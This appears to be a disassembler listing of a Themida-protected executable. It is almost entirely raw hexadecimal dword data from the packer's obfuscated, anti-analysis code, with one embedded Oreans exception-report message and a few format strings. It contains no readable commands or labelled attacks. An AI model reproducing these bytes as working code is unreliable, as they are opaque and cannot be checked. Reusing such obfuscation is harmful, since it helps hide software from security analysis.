8DD88BD0h, 4AFB1885h, 0D3FF5006h, 0F942858Dh dd 8D50064Ah, 4AF9BA85h, 0BD835006h, 64804E5h, 8D087400h dd 4AFAE085h, 8D06EB06h, 4AFAC985h, 858D5006h, 64AFB18h dd 0D195FF50h, 83064804h, 6A10C4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 925579C3h, 5209A7EDh dd 30918D09h, 0CE90648h, 65000000h, 508EBFB6h, 0ABF06A01h dd 3882F68h, 480FD995h, 0E595FF06h, 0F06480Ah, 0FF25FEBFh dd 8B000000h, 5F883F9h, 22830Fh, 85C70000h, 648285Dh, 1 dd 858DD08Bh, 64AF976h, 2D518589h, 52E90648h, 0BA000000h dd 5AB3FA96h, 4E5BD83h, 0F000648h, 3584h, 8DA6B200h, 4AF9A185h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0A99D89C4h, 0E9064819h, 11h, 1875B501h dd 858D0648h, 64AF983h, 0DAD0F2BAh, 0B6858961h, 89064AF9h dd 482C69BDh, 0E5BD8306h, 64804h, 17850Fh, 0BD8B0000h dd 6481B11h, 93DBD83h, 0F00064Bh, 3B84h, 0AEBF6600h, 118CE98Ch dd 830F0000h, 10h, 0BE9h, 8D0AE900h, 8516FD2Ah, 6A8DCA4Bh dd 12E857h, 0B7830000h, 0FC8F39E9h, 1DC7362Ah, 34EB65BAh dd 0AF9D83B3h, 5F5F5A53h, 3DDE9h, 0C08BFC00h, 305DB966h dd 20E9BD83h, 75000648h, 61BD8309h, 6482Ch, 53501974h dd 0D4B8C08Bh, 89000007h, 4828A185h, 2C9D8D06h, 0FF064AB0h dd 83585BD3h, 482C61BDh, 17740006h, 0D4B85350h, 89000007h dd 4828A185h, 1B9D8D06h, 0FF064AADh, 29585BD3h, 48256595h dd 85896006h, 6480CB1h, 0C262BA66h, 81C08B61h, 6DC2E2C9h dd 3F6829h, 0AE9000Fh, 45000000h, 1B7E334Fh, 0C9453786h dd 8B006A8Ah, 4827858Dh, 0E9006A06h, 0Ch, 0E43F8A8Ah, 9705A73h dd 56195DC5h, 68E0Fh, 8D890000h, 6480025h, 1B5995FFh, 3B90648h dd 802B2748h, 0C0858CDAh, 6850Fh, 8D890000h, 6482801h dd 0F93A8589h, 6A064Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 11E859C3h, 0FC000000h, 55FDE3F1h dd 1A749BFEh, 5C5793B4h, 0FF4D796Ch, 11F28166h, 6A5FE5h dd 6A006AF9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 5D32C351h, 32A29D0h, 48058DBDh dd 6A006A06h, 99958900h, 89064814h, 4830F185h, 8B006A06h dd 48273995h, 18858D06h, 1064AFBh, 482CA585h, 8D895006h dd 6481BD9h, 6A016Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 7BB4A2C3h, 2D0B45E9h, 6A016Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0EE987C3h, 4000000h, 6F21A31Ch, 1A71D720h, 0A38FA60Fh dd 5958B2Ah, 6A064814h, 0D68B6601h, 0F01FF68h, 3D8D8900h dd 8B064806h, 0E5BD83F9h, 64804h, 42840Fh, 0BD8B0000h dd 6481F8Dh, 0F997858Dh, 6A064Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0D9E148C3h, 3B3AC915h dd 618D8B9Fh, 3064822h, 480E29BDh, 0BE906h, 0F58A0000h dd 0F96D858Dh, 0BF0F064Ah, 0FC5050FAh, 0F93AB5FFh, 9523064Ah dd 6482755h, 0F92695FFh, 0B529064Ah, 6482E29h, 850FC085h dd 16h, 18B5958Bh, 81660648h, 0E95724C1h, 7Ah, 7ED2EA81h dd 85892EDEh, 64AF93Eh, 8BF8BF0Fh, 48248D95h, 3EB5FF06h dd 6A064AF9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0C90EC353h, 892B4F4Dh, 480635B5h dd 0C8E0BF06h, 95FF01F4h, 6482365h, 0FC085F9h, 2585h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 5AF957A0h, 2801BD89h, 106A0648h, 2D898589h, 0BD830648h dd 64804E5h, 18840F00h, 89000000h, 4821998Dh, 97858D06h dd 66064AF9h, 0BB66CA81h, 9E9h, 8DCE8A00h, 4AF96D85h, 0F50FC06h dd 0B5FFD3B7h, 64AF93Ah, 1FD99501h, 95FF0648h, 64AF932h dd 0E5D28166h, 0FC085FCh, 1885h, 10E800h, 0ABA50000h, 22AD77CFh dd 1CF4D400h, 90230BB3h, 0FB8BD314h, 3E85895Fh, 29064AF9h dd 480D9995h, 8B006A06h, 4827AD8Dh, 0D1BD8906h dd 6A06481Bh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 3AB33D82h, 0A66ECE6Dh, 50B2E678h dd 0F93EB5FFh, 11E8064Ah, 0E2000000h, 0FEC4705Fh, 2E477F74h dd 13C97CC5h, 1BBA73C4h, 1B759D01h, 0FF590648h, 4AF92A95h dd 17FBF06h, 0C0854496h, 6850Fh, 9D890000h, 6482B09h, 0F93EB5FFh dd 9503064Ah, 6480DE1h, 236595FFh, 0BD890648h, 6481415h dd 850FC085h, 6, 73C1E181h, 6A350Ah, 0D9816660h, 0B531872Dh dd 6481DF9h, 806861h, 12E90000h, 0BF000000h, 3923BCFh dd 950135FDh, 299D2D92h, 7D573ABDh, 8B036AEFh, 481945BDh dd 8B006A06h, 481D998Dh, 8B006A06h, 4830F98Dh, 6806h, 6AC000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 8CDE20C3h, 84E8CD6h, 8166DB55h, 0F1280EAh, 1786h, 12E900h dd 0CC30000h, 4656F7FBh, 5AE4C87Dh, 9DA4E21Bh, 501CE31Ah dd 0F9B6B5FFh, 0FFF5064Ah, 480C7595h, 41958906h, 83064823h dd 850FFFF8h, 5C6h, 2009BD33h, 85FF0648h, 64B0424h, 5E9h dd 60295600h, 0BD839328h, 64B0424h, 40840F02h, 6A000004h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 89F9C352h, 481E05BDh, 51858906h, 8D06481Dh dd 5AF59F85h, 0E18D0B00h, 0FF064826h, 7E8D0h, 7DD30000h dd 9B3FAB3h, 21B50136h, 59064801h, 0EFF2858Dh, 8157005Ah dd 8882D0D2h, 89605A4Eh, 482F79B5h, 0F2E58006h, 89D0FF61h dd 481F5595h, 0FCC08B06h, 20E9BD83h, 75000648h, 61BD8309h dd 6482Ch, 53501974h, 0D8B8C08Bh, 89000007h, 4828A185h dd 2C9D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh, 17740006h dd 0D8B85350h, 89000007h, 4828A185h, 1B9D8D06h, 0FF064AADh dd 6A585BD3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 3638C350h, 96E534C5h, 9E18D31h dd 8B660648h, 6AC08BCFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 5396C353h, 0BD8B2E80h dd 64820ADh, 0F003F68h, 75BD2900h, 6A06480Ah, 0D6BF0F00h dd 950B006Ah, 6481829h, 14318D03h, 95FF0648h, 6481B59h dd 4A5BD89h, 0C0850648h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 41C35747h, 8501C5C5h, 3CEEA63Ch, 89CFB70Fh dd 4AF93A85h, 0E2E78106h, 66234098h, 8178E981h, 0F01FF68h dd 0E5BD8300h, 64804h, 76840Fh, 0CF8B0000h, 14E8h, 0B619FD00h dd 78C72B3Bh, 63606A91h, 0D570B66Ch, 0CF16A764h, 0ADB50928h dd 5A064821h, 0F997858Dh, 6A064Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0D3AF82C3h, 5DBD8B98h dd 0E906481Bh, 30h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 93C35545h, 958B3DC1h, 6482CA9h, 0F96D858Dh dd 0BD23064Ah, 648284Dh, 0EE950h, 3BDE0000h, 0F65FF8B3h dd 1F813DD8h, 0F6FF06E1h, 0F93AB5FFh, 0BD8B064Ah, 64825EDh dd 0F93295FFh, 0CA81064Ah, 5A391FE0h, 0F93E8589h, 85C7064Ah dd 6481EDDh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BAC35646h dd 8FD57D95h, 3EBD8358h, 64AF9h, 1CE840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 4E48F0C3h, 2F135AACh, 8D9B96CDh, 4AFC1C85h, 8D9D3106h dd 5006481Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0D3C35545h, 0A9208144h, 0E9016AEBh, 11h, 344EC062h dd 70655194h, 61EF31AAh, 233B364h, 3EB5FF63h, 0FF064AF9h dd 4AF93695h, 59B58906h, 8A064806h, 3EB5FFEAh, 0E9064AF9h dd 8, 0D949A581h, 0CF9004ADh, 236595FFh, 958B0648h, 6480529h dd 0F01FF68h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 83FEB138h, 4804E5BDh, 840F0006h dd 7Fh, 6E78166h, 0A99D29A5h, 8D06481Fh, 4AF99785h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 1DD4A7C2h, 14E9F9h, 5B530000h, 883A64E2h, 0D108EAD0h dd 1E6884A3h, 4DE5F59Fh, 3CE97433h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0D0BCC355h, 0EFD13CDEh, 858B6081h, 6480D95h, 298D8D89h dd 8D610648h, 4AF96D85h, 6AC28106h, 507A69CFh, 0CCE4BA66h dd 0F93AB5FFh, 0BF66064Ah, 95FF8AAAh, 64AF932h, 89CA8B66h dd 4AF93E85h, 54ED8006h, 0F93EB5FFh, 8E0F064Ah, 8, 9154BE60h dd 61F90470h, 0F92E95FFh, 0CE8064Ah, 66000000h, 0D963FBA8h dd 9F2DD4F7h, 8BC1328Ah, 0B5FF5FCBh, 64AF93Eh, 245D9509h dd 95FF0648h, 6482365h, 0E8D0Fh, 9E90000h, 77000000h, 56BCD408h dd 0B583CBADh, 0FFF719E9h, 0FFF58AFFh, 4B0487B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 7B858609h, 6FBDFCB8h, 11E9h, 0CC3FE200h, 8C353668h dd 1979E077h, 0C12FF7EAh, 85896901h, 6482BA5h, 20BD95FFh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0F7FE99C3h, 4CF07563h, 69BD8BB9h, 89064815h dd 48183D8Dh, 0A5858B06h, 8906482Eh, 482D1D8Dh, 609E906h dd 0B58D0000h, 64AFC3Ch, 25558D89h, 858D0648h, 64AAA17h dd 0EE9h, 0FCA22800h, 5BFB004Fh, 0D2DDBDCAh, 0FF4EF80Ch dd 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 813EA10Eh, 0B3A8EE9Ah, 69BD8B37h, 6A06480Fh dd 14860F00h, 0F000000h, 0E8Fh, 9E900h, 9C390000h, 0F25B83F1h dd 0FF0DAEDEh, 482A6995h, 1C870F06h, 0F000000h, 1689h dd 11E900h, 821F0000h, 5C9614E5h, 82A628FDh, 87C1BD66h dd 8BAB43D9h, 4819A9BDh, 8BF38B06h, 481CC58Dh, 17858D06h dd 0BA064AAAh, 6A538F7Fh, 0BE8D0FFh, 31000000h, 7DDBE553h dd 8374E24Bh, 0BF66B9ACh, 6A5968E0h, 0B9BD0100h, 0FF06481Dh dd 482A6995h, 78D2BA06h, 0C08B7EAAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 2EC35747h, 25B92CC4h, 10E9FB0Fh dd 0A0000000h, 422F62A5h, 71DC20EEh, 641CF711h, 83D4F48Ch dd 4820E9BDh, 9750006h, 2C61BD83h, 74000648h, 8B535019h dd 7D9B8C0h, 85890000h, 64828A1h, 0B02C9D8Dh, 0D3FF064Ah dd 0BD83585Bh, 6482C61h, 50177400h, 7D9B853h, 85890000h dd 64828A1h, 0AD1B9D8Dh, 0D3FF064Ah, 6E8585Bh, 5E000000h dd 261D9BEDh, 0FCB7B9FFh, 0F85A4FD9h, 14E8C08Bh, 8E000000h dd 58952760h, 96C05AE3h, 50DE9CB0h, 887D86B1h, 893149CDh dd 48097995h, 8B505A06h, 482C4D95h, 0FD88B06h, 586h, 0BA96BF00h dd 8D5343D2h, 4821E59Dh, 89038B06h, 50438B03h, 8D504389h dd 4B04209Dh, 89038B06h, 81665B03h, 8B14F7DFh, 4815B5BDh dd 79BD8B06h, 6A06480Dh, 51B58900h, 8D064819h, 4B042085h dd 68B0F06h, 89000000h, 481B619Dh, 0F58D8B06h, 50064808h dd 6A606Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 8A7C14C3h, 0E5858DC8h, 8B064821h, 480BA995h dd 0B99D0906h, 50064827h, 5359589h, 6A0648h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6C35646h, 6AF9BF0Fh dd 0C9952300h, 2306480Eh, 48047995h, 18006806h, 8D8B0000h dd 6480D79h, 27E1958Bh, 60530648h, 4988B961h, 95FF62B1h dd 64832CDh, 0FFC88B66h, 480B4195h, 0DE98106h, 663D10B1h dd 7677D981h, 487B5FFh, 0C180064Bh, 0BD95FF63h, 29064820h dd 4804A1B5h, 0E5858D06h, 6A064821h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0D502C356h dd 1A8D958Bh, 408B0648h, 8FF28118h, 0C7236F6Dh, 482B1985h dd 6, 0C2816600h, 23604642h, 48227D9Dh, 0BD9D8B06h, 61064822h dd 4E5BD83h, 0F000648h, 3C84h, 8880F00h, 51000000h, 30A98D31h dd 3D590648h, 8Ch, 1D3830Fh, 958B0000h, 6482931h, 192D9D89h dd 33E90648h, 0E8000000h, 0Bh, 0A7C6B309h, 3D5B14D8h, 0F9247E52h dd 963D5Ah, 830F0000h, 1A5h, 11E9h, 4FEF7F00h, 6784F0BDh dd 889AF3EEh, 0CC9CDEB0h, 858D7DD7h, 5AF59Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 17C35343h, 0B3CA8020h dd 7CD8BA66h, 0BA66D0FFh, 858D377Bh, 5AEFF2h, 5840Fh, 81660000h dd 0FF7442DAh, 5E9D0h, 0D23E0000h, 8B6978EFh, 0B59D89C0h dd 83064813h, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h dd 8B535019h, 0BC6B8C0h, 85890000h, 64828A1h, 0B02C9D8Dh dd 0D3FF064Ah, 0BD83585Bh, 6482C61h, 50177400h, 0BC6B853h dd 85890000h, 64828A1h, 0AD1B9D8Dh, 0D3FF064Ah, 8D8B585Bh dd 6482479h, 297D958Bh, 8D8B0648h, 648214Dh, 6AC08Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 796646C3h, 0F822777h, 68Ah, 18D2B00h, 8906481Ah, 4829A585h dd 0FFF88306h, 57850Fh, 8D0F0000h, 5, 0D18B6651h, 0A185C75Fh dd 64824h, 8B000000h, 482F61BDh, 15DE906h, 95310000h, 6482959h dd 63E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0A33BEE3Fh, 68E0F36h, 8B000000h dd 480FD98Dh, 1F88306h, 2E850Fh, 6E90000h, 89000000h, 0F90E6436h dd 14DE9B8h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0A665D7C3h dword_570000 dd 0FFF1ADE9h, 6860FFFh, 89000000h, 480D2585h, 60C08B06h ; DATA XREF: Themida_:0053D310o ; Themida_:0053E764o dd 5D18523h, 0F600648h, 88h db 0, 89h, 9Dh byte_570023 db 0B5h ; DATA XREF: Themida_:0053CE44o ; Themida_:0053EEECo dd 61064804h, 0E9BD8361h, 64820h, 0BD830975h, 6482C61h dd 50197400h, 0B8C08B53h, 7DDh, 28A18589h, 9D8D0648h, 64AB02Ch dd 585BD3FFh, 2C61BD83h, 74000648h, 0B8535017h, 7DDh, 28A18589h dd 9D8D0648h, 64AAD1Bh, 585BD3FFh, 28800Fh, 10E80000h dd 0A6000000h, 1CCB48E3h, 7840FEF8h, 0FB67C770h, 0E826C680h dd 0Ch, 0E697DECDh, 4D23362Eh, 24CC3B11h, 85895F5Fh, 6481BE5h dd 13E9C08Bh, 24000000h, 6B0D1C6Eh, 0B950160Eh, 0BE45DA41h dd 9D8C1B2Ch, 3FE91172h, 6A000002h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89BDC351h dd 482891B5h, 0FFE18106h, 8D0232EDh, 4B022485h, 89CF8B06h dd 4B041C85h, 0E6816006h, 526A7EA2h, 0DBD8B57h, 5F064824h dd 5EE961h, 0BD8B0000h, 6480DD9h, 12E9h, 0AFD17C00h, 4A7DA828h dd 0F7F3C1F1h, 3244EEBEh, 8D181ECBh, 4B002C85h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 1C27A1C9h, 67979574h, 6660400Bh, 4D0EC381h, 2AA59589h dd 89610648h, 4B041C85h, 0CF8B6606h, 858D346Ah, 6482F9Dh dd 1CB5FF50h, 6A064B04h, 0D595FF00h, 83064832h, 840F07F8h dd 162h, 0F6DB8C66h, 850F04C3h, 0FCh, 276D85C6h, 68560648h dd 9CA8B852h, 2C21B5FFh, 858D0648h, 6483878h, 46AD0FFh dd 100068h, 6A646A00h, 89D0FF00h, 4B048F85h, 6D85C606h dd 47064827h, 18AC9B68h, 21B5FFECh, 8D06482Ch, 48387885h dd 0FFD0FF06h, 0C6F08BD0h, 48276D85h, 61684F06h, 0FFC62F26h dd 482C2DB5h, 78858D06h, 0FF064838h, 8B9D8DD0h, 53064B04h dd 0FF56286Ah, 75C085D0h, 6D85C600h, 41064827h, 87649868h dd 2DB5FFDBh, 8D06482Ch, 48387885h, 89D0FF06h, 4B04A885h dd 6D85C606h, 4C064827h, 0A4E7A468h, 2DB5FF80h, 8D06482Ch dd 48387885h, 8BD0FF06h, 4B048F9Dh, 45B8D06h, 949D8D53h dd 53064B04h, 0D0FF006Ah, 48F9D8Bh, 3C7064Bh, 1, 20C43C7h dd 0C7000000h, 48188585h, 6, 6A006A00h, 8B006A00h, 4B048F9Dh dd 6A5306h, 48BB5FFh, 95FF064Bh, 64B04A8h, 276D85C6h, 68450648h dd 92A5F797h, 205DB5FFh, 858D0648h, 6483878h, 6AD0FFh dd 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 48F9D8Bh, 43C7064Bh dd 0Ch, 6A006A00h, 8F9D8B00h, 53064B04h, 0B5FF006Ah, 64B048Bh dd 4A895FFh, 0B5FF064Bh, 64B048Bh, 0B4195FFh, 6A0648h dd 2A6995FFh, 0F1810648h, 2AF1D53Ah, 2291BD29h, 858D0648h dd 64B36BBh, 14D18D89h, 1500648h, 48185DBDh, 35FF6406h dd 0 dd 8964F58Ah, 25h, 6800F00h, 2B000000h, 480C99BDh, 0C9852906h dd 83064818h, 480B19BDh, 840F0006h, 51h, 0BDB50153h, 5F06481Eh dd 1949BD83h, 0F010648h, 3C85h, 0A8BD8000h, 64B08h, 2F850Fh dd 0E9F80000h, 1E5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 2C35747h, 0BA7E70D9h, 89760A78h, 48303D9Dh dd 0B6DB3306h, 0BFC033AAh, 702A06A8h, 0D154E7B9h, 3F0F406Ch dd 8F640B07h, 5, 4C48300h, 68D0Fh, 95890000h, 6481F71h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 74C35040h dd 0A10D2248h, 33605A03h, 89CE8A39h, 4806499Dh, 0FFFB8306h dd 25840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 5E826EC3h, 2CE97128h, 0E9000001h dd 93h, 1199D31h, 4C8B0648h, 81C70C24h, 0A4h, 0FFFFFFFFh dd 0B88183h, 33040000h db 0C0h, 0C3h word_570442 dw 5C8Bh ; DATA XREF: Themida_:0053D68Co dd 0E8550C24h, 0 dd 0DDED815Dh, 8B064B36h, 0B883h, 0E6858D00h, 89064B37h dd 0B883h, 0C0335D00h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 6ADE9Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 7782F1C3h dd 48896B86h, 0FCB2621h, 68Eh, 0B5850900h, 8D064821h, 4B36D385h dd 68F0F06h, 9000000h, 48091D85h, 50D4B106h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 8AC35040h, 0C2DB3453h dd 35B36630h, 0CE9h, 46D51A00h, 8D48C532h, 0D0720270h dd 35FF64F4h, 0 dd 258964h, 0F000000h, 0E86h, 95896000h, 64814E1h, 0B49BD89h dd 0B9610648h, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h dd 480D8D85h, 106h, 58F6400h, 0 dd 6A04C483h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 2EC3C357h, 11E9h, 705FE200h, 7F74FEC4h dd 7CC52E47h, 73C413C9h, 6A1BBAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0FEE3DCC3h, 9DBC3119h dd 8B66B762h, 51BD8BD0h, 8B06482Ah, 0F78166C0h, 0BD83B8B0h dd 64820E9h, 83097500h, 482C61BDh, 19740006h, 0C08B5350h dd 43DB8h, 21858900h, 8D064800h, 4AB0939Dh, 5BD3FF06h dd 61BD8358h, 6482Ch, 53501774h, 43DB8h, 21858900h, 8D064800h dd 4AAD349Dh, 5BD3FF06h, 12E858h, 39C60000h, 0C042C17Eh dd 40A0006Eh, 0EB9F94CAh, 0EC75106h, 7CFCF781h, 6A5A70CDh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 9289C350h, 0C5CA93B9h, 8B36C690h, 3AE9C08Bh dd 4000001h, 31000000h, 3535382Eh, 7 dup(0) dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 0C5BD8300h dd 6482Dh, 12D840Fh, 858D0000h, 64AAB4Bh, 0B5858D50h, 50064AAAh dd 168h, 5B95FF80h, 8D064AABh, 4B38EC85h, 858D5006h, 64B38F6h dd 6A006A50h, 0C9858D00h, 50064AAAh, 0AB4BB5FFh, 95FF064Ah dd 64813BDh, 38EC858Dh, 8D50064Bh, 4B38FA85h, 6A5006h dd 858D006Ah, 64AAADBh, 4BB5FF50h, 0FF064AABh, 4813BD95h dd 0EC858D06h, 50064B38h, 3906858Dh, 6A50064Bh, 8D006A00h dd 4AAB2885h, 0B5FF5006h, 64AAB4Bh, 13BD95FFh, 858D0648h dd 64B38ECh, 0E858D50h, 50064B39h, 6A006Ah, 0AB46858Dh dd 0FF50064Ah, 4AAB4BB5h, 0BD95FF06h, 8D064813h, 4B38EC85h dd 858D5006h, 64B390Ah, 6A006A50h, 2F858D00h, 50064AABh dd 0AB4BB5FFh, 95FF064Ah, 64813BDh, 38EC858Dh, 8D50064Bh dd 4B38FE85h, 6A5006h, 858D006Ah, 64AAB37h, 4BB5FF50h dd 0FF064AABh, 4813BD95h, 0EC858D06h, 50064B38h, 3902858Dh dd 6A50064Bh, 8D006A00h, 4AAB3E85h, 0B5FF5006h, 64AAB4Bh dd 13BD95FFh, 0B5FF0648h, 64AAB4Bh, 2EE195FFh, 0A2E90648h dd 83000000h, 480991BDh, 840F0006h, 95h, 1949BD83h, 0F000648h dd 1185h, 79958B00h, 81064822h, 1CF8C2h, 0FE900h, 958D0000h dd 64821E5h, 8134528Bh, 0D4C340C2h, 3195893Bh, 8306482Ah dd 482A31BDh, 840F0006h, 55h, 2A319D8Bh, 0C3830648h, 89038B4Ch dd 4B38F685h, 319D8B06h, 8306482Ah, 38B50C3h, 38FA8589h dd 9D8B064Bh, 6482A31h, 8B54C383h, 6858903h, 8B064B39h dd 482A319Dh, 58C38306h, 8589038Bh, 64B390Ah, 2A319D8Bh dd 0C3830648h, 89038B5Ch, 4B38FE85h, 0C5BD8306h, 6482Dh dd 0D850Fh, 0BD830000h, 6480991h, 68840F00h, 0FF000000h dd 4B390EB5h, 2B5FF06h, 0FF064B39h, 4B38FEB5h, 0AB5FF06h dd 0FF064B39h, 4B3906B5h, 0FAB5FF06h, 0FF064B38h, 4B38F6B5h dd 0F0858D06h, 50064B38h, 3928858Dh, 8D50064Bh, 48160185h dd 95FF5006h, 64804D1h, 6A24C483h, 12858D40h, 50064B39h dd 1601858Dh, 6A500648h, 0D595FF00h, 6A064832h, 6995FF01h dd 8B06482Ah, 0FE8C1h, 821B0000h, 2EB42709h, 213D3854h dd 0C5831B81h, 0E86051FFh, 9, 31DF0B9Fh, 4370348Ah, 59615BF0h dd 0EE8505Eh, 25000000h, 36A8FB0Fh, 2743F575h, 4A60BB5Eh dd 586160E6h, 75C6815Fh, 6000005Dh, 69FED781h, 8A0F4F62h dd 2, 2B616160h, 0C8A0FD2h, 0F000000h, 688h, 0F7EF8100h dd 8B244728h, 0B70F161Ch, 0B0F381C7h, 8B5A03C0h, 1DC381F8h dd 662C4954h, 8151BEB8h, 6A8DFDC3h, 6653F563h, 48FC78Bh dd 81EB8A16h, 71724AC1h, 19EA8126h, 51201109h, 3E18166h dd 0C2815FF8h, 20110915h, 0FA81C78Ah, 0FFFFA35Ch, 0E850Fh dd 1CE90000h, 45000000h, 5FBF0D48h, 90E8BD77h, 9CE9EAB5h dd 1AFFFFFFh, 0BFE8F2F5h, 495EC5C0h, 0EB28DFACh, 46F31718h dd 9Bh, 4 dup(0) dd 20BE900h db 2 dup(0) aLS db '`▀\$$Х',0 ; DATA XREF: Themida_:0053FF9Co align 4 dd 89ED815Dh, 61064B3Dh, 0E90004C2h, 0FFFFFFE6h aA_2 db '`aб',8,0 ; DATA XREF: Themida_:0053EB70o db 0E9h, 0F6h, 0FFh dd 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h, 0FFF6E900h dd 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0) dd 0E9C36160h, 0FFFFFFF8h, 3DC1B58Bh, 0E681064Bh, 0FFFFF000h dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3DC5B53Bh, 860F064Bh dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h, 324C88Ch dd 840FC00Ah, 19h, 2BB5350h, 8B000000h, 482A3185h, 0A188606h dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h, 50FFFFFFh dd 82474FFh, 322D95FFh, 0F500648h, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 482A3185h, 0C606h, 2404FF58h, 0E90004C2h dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh dd 31858B00h, 8606482Ah, 0FDB0A18h, 0FFFFF685h, 5585C7FFh dd 6481Ah, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h dd 0E9188918h, 0Ah, 1A5585C7h, 1000648h, 5B580000h, 0C32404FFh dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 